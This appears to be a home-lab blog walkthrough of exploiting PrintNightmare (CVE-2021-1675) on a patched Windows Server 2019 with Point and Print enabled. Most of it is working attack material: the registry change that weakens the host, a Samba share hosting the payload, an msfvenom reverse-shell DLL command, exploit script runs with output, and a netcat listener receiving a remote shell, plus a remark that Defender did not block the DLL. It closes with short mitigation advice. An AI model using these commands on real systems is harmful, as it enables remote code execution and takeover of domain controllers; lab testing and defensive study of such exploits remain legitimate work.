I am pretty sure that everyone in IT has heard of PrintNightmare (CVE-2021-1675) by now. Most, if not all, of the organizations, have installed KB5004947. However, that patch comes with caveats.
On Friday, my colleague, who created the Kaos Corp CTF scenario, reached out to me to let me know that I can exploit the PrintNightmare vulnerability with his test VM, running Windows 2019 Server with the patch. I ran into a few obstacles, so I decided to build a VM locally instead.
Since I already have a base VM for Windows Server 2019, all I needed to do was clone it. After cloning, I updated the VM and ensured that KB5004947 was there.
|Related: VMware ESXi Home Lab – Intel NUC|
Next, I added roles to the server since the VM was just a basic installation. After making it a domain controller and adding print services, I created the PointAndPrint registry entries since it’s not there by default.
To add the necessary registry entries, issue the commands, as shown below. You can use PowerShell or Command Prompt for this.
PS C:\Users\Administrator> reg add "HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint" /v NoWarningNoElevationOnInstall /t REG_DWORD /d 1 The operation completed successfully
To verify we set it up correctly, issue the command below.
PS C:\Users\Administrator> reg query "HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint" HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint NoWarningNoElevationOnInstall REG_DWORD 0x1
Now, we need to create a new domain user.
PS C:\Users\Administrator> net user andrew password /add The command completed successfully.
To verify that account is a domain user, issue the command below.
PS C:\Users\Administrator> net group "domain users" Group name Domain Users Comment All domain users Members ------------------------------------------------------------------------------- Administrator andrew krbtgt The command completed successfully.
The installation was quick and easy on my Kali Linux VM. Your mileage may vary.
Before we can run the Python script, we need to configure and start Samba. The exploit page has an example, but I needed to change the user in the force user section.
To change the Samba configuration, use your favorite text editor.
Add the following lines in the configuration, as shown below.
[global] map to guest = Bad User server role = standalone server usershare allow guests = yes idmap config * : backend = tdb smb ports = 445 [smb] comment = Samba path = /home/andrew/impacket/ guest ok = yes read only = no browsable = yes force user = nobody
After saving the configuration, we need to start the Samba service on our Kali. We can do this by issuing the command, as shown below.
andrew@kali:~$ sudo systemctl start smbd
To verify the status, issue the command below.
andrew@kali:~$ sudo systemctl status smbd ● smbd.service - Samba SMB Daemon Loaded: loaded (/lib/systemd/system/smbd.service; disabled; vendor preset: disabled) Active: active (running) since Sun 2021-07-11 10:31:34 PDT; 37s ago <-- Output omitted for brevity -->
We’re going to use two different payloads for this demonstration. The first payload is from this, and the second payload from Metasploit Framework.
If you trust JumpsecLabs’s claim that the DLL file is not malware, then feel free to use it. If not, you can compile the DLL yourself by following their instructions on the page. For me, I don’t care if it’s malware or not since I constantly delete VMs in my home lab.
I downloaded the file and put it in the
The majority of the endpoint protection software should catch this payload. However, in my limited testing, Microsoft Defender didn’t block the DLL file I generated using MSFvenom.
To generate the DLL file, issue the command below.
andrew@kali:~/impacket$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.8.237 LPORT=4444 -f dll > msfvenom.dll [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x64 from the payload No encoder specified, outputting raw payload Payload size: 460 bytes Final size of dll file: 8704 bytes
Now, we’re ready to attack our vulnerable Windows Server 2019 host. First, let’s use the non-malicious DLL file.
andrew@kali:~/impacket$ ./CVE-2021-1675.py hackme/andrew:firstname.lastname@example.org '\\192.168.8.237\smb\nightmare.dll' [*] Connecting to ncacn_np:192.168.8.216[\PIPE\spoolss] [+] Bind OK [+] pDriverPath Found C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_2097e02ea77b432e\Amd64\UNIDRV.DLL [*] Executing \??\UNC\192.168.8.237\smb\nightmare.dll [*] Try 1... [*] Stage0: 0 [*] Stage2: 0 [+] Exploit Completed
As per the JumpsecLabs page, the DLL file will create a text file in the C drive. We can verify this by issuing the command below.
PS C:\Users\Administrator> dir c:\ | findstr print -a---- 7/11/2021 7:29 PM 13 printnighmare.txt
Additionally, you should see the DLL file in the
C:\Windows\System32\spool\drivers\x64 or subfolder directory. In my case, I found it in the
PS C:\Users\Administrator> dir C:\Windows\System32\spool\drivers\x64\3 | findstr nightmare -a---- 7/10/2021 12:46 AM 91713 nightmare.dll
Let’s make it fun by using a malicious payload that will allow us to have a reverse shell. First, we need to set up a Netcat listener. We can do this by issuing the command below.
andrew@kali:~$ nc -nlvp 4444 listening on [any] 4444 ...
Now, we’re ready to launch another attack. This time we’re using the
msfvenom.dll file that we generated earlier.
andrew@kali:~/impacket$ ./CVE-2021-1675.py hackme/andrew:email@example.com ‘\192.168.8.237\smb\msfvenom.dll’
andrew@kali:~/impacket$ ./CVE-2021-1675.py hackme/andrew:firstname.lastname@example.org '\\192.168.8.237\smb\msfvenom.dll' [*] Connecting to ncacn_np:192.168.8.216[\PIPE\spoolss] [+] Bind OK [+] pDriverPath Found C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_2097e02ea77b432e\Amd64\UNIDRV.DLL [*] Executing \??\UNC\192.168.8.237\smb\msfvenom.dll [*] Try 1... [*] Stage0: 0 [*] Try 2... Traceback (most recent call last): File "/home/andrew/impacket/impacket/smbconnection.py", line 568, in writeFile return self._SMBConnection.writeFile(treeId, fileId, data, offset) File "/home/andrew/impacket/impacket/smb3.py", line 1650, in writeFile written = self.write(treeId, fileId, writeData, writeOffset, len(writeData)) File "/home/andrew/impacket/impacket/smb3.py", line 1358, in write if ans.isValidAnswer(STATUS_SUCCESS): File "/home/andrew/impacket/impacket/smb3structs.py", line 454, in isValidAnswer raise smb3.SessionError(self['Status'], self) impacket.smb3.SessionError: SMB SessionError: STATUS_PIPE_CLOSING(The specified named pipe is in the closing state.) During handling of the above exception, another exception occurred: Traceback (most recent call last): File "/home/andrew/impacket/./CVE-2021-1675.py", line 190, in
main(dce, pDriverPath, options.share) File "/home/andrew/impacket/./CVE-2021-1675.py", line 93, in main resp = rprn.hRpcAddPrinterDriverEx(dce, pName=handle, pDriverContainer=container_info, dwFileCopyFlags=flags) File "/home/andrew/impacket/impacket/dcerpc/v5/rprn.py", line 633, in hRpcAddPrinterDriverEx return dce.request(request) File "/home/andrew/impacket/impacket/dcerpc/v5/rpcrt.py", line 856, in request self.call(request.opnum, request, uuid) File "/home/andrew/impacket/impacket/dcerpc/v5/rpcrt.py", line 845, in call return self.send(DCERPC_RawCall(function, body.getData(), uuid)) File "/home/andrew/impacket/impacket/dcerpc/v5/rpcrt.py", line 1298, in send self._transport_send(data) File "/home/andrew/impacket/impacket/dcerpc/v5/rpcrt.py", line 1235, in _transport_send self._transport.send(rpc_packet.get_packet(), forceWriteAndx = forceWriteAndx, forceRecv = forceRecv) File "/home/andrew/impacket/impacket/dcerpc/v5/transport.py", line 535, in send self.__smb_connection.writeFile(self.__tid, self.__handle, data) File "/home/andrew/impacket/impacket/smbconnection.py", line 570, in writeFile raise SessionError(e.get_error_code(), e.get_error_packet()) impacket.smbconnection.SessionError: SMB SessionError: STATUS_PIPE_CLOSING(The specified named pipe is in the closing state.)
As you can see, the script errored out, but if you look at the terminal where we set up the Netcat listener, the reverse shell worked.
andrew@kali:~$ nc -nlvp 4444 listening on [any] 4444 ... connect to [192.168.8.237] from (UNKNOWN) [192.168.8.216] 58057 Microsoft Windows [Version 10.0.17763.2029] (c) 2018 Microsoft Corporation. All rights reserved. C:\Windows\system32>
Below is a screenshot for proof. Furthermore, you’ll notice that Windows Defender’s real-time protection didn’t do a fantastic job at preventing the attack by rejecting the DLL file.
I’m not sure if this is an expected outcome or something is wrong with my VM. When I get a chance, I will retest this again with a fresh VM and update this. Please feel free to let me know in the comments section if you don’t encounter the same.
As demonstrated, Microsoft ships Windows Server 2019 with Point And Print feature as disabled. That said, if you don’t enable it, then you should be safe.
A lot of the time, folks do not remember what features they enable. That said, it’s worth checking your environment for this registry entry. I also recommend understanding CERT’s flowchart.
Alternatively, you can disable the Print Spooler service on all hosts that do not need it.
BUY ME COFFEE ☕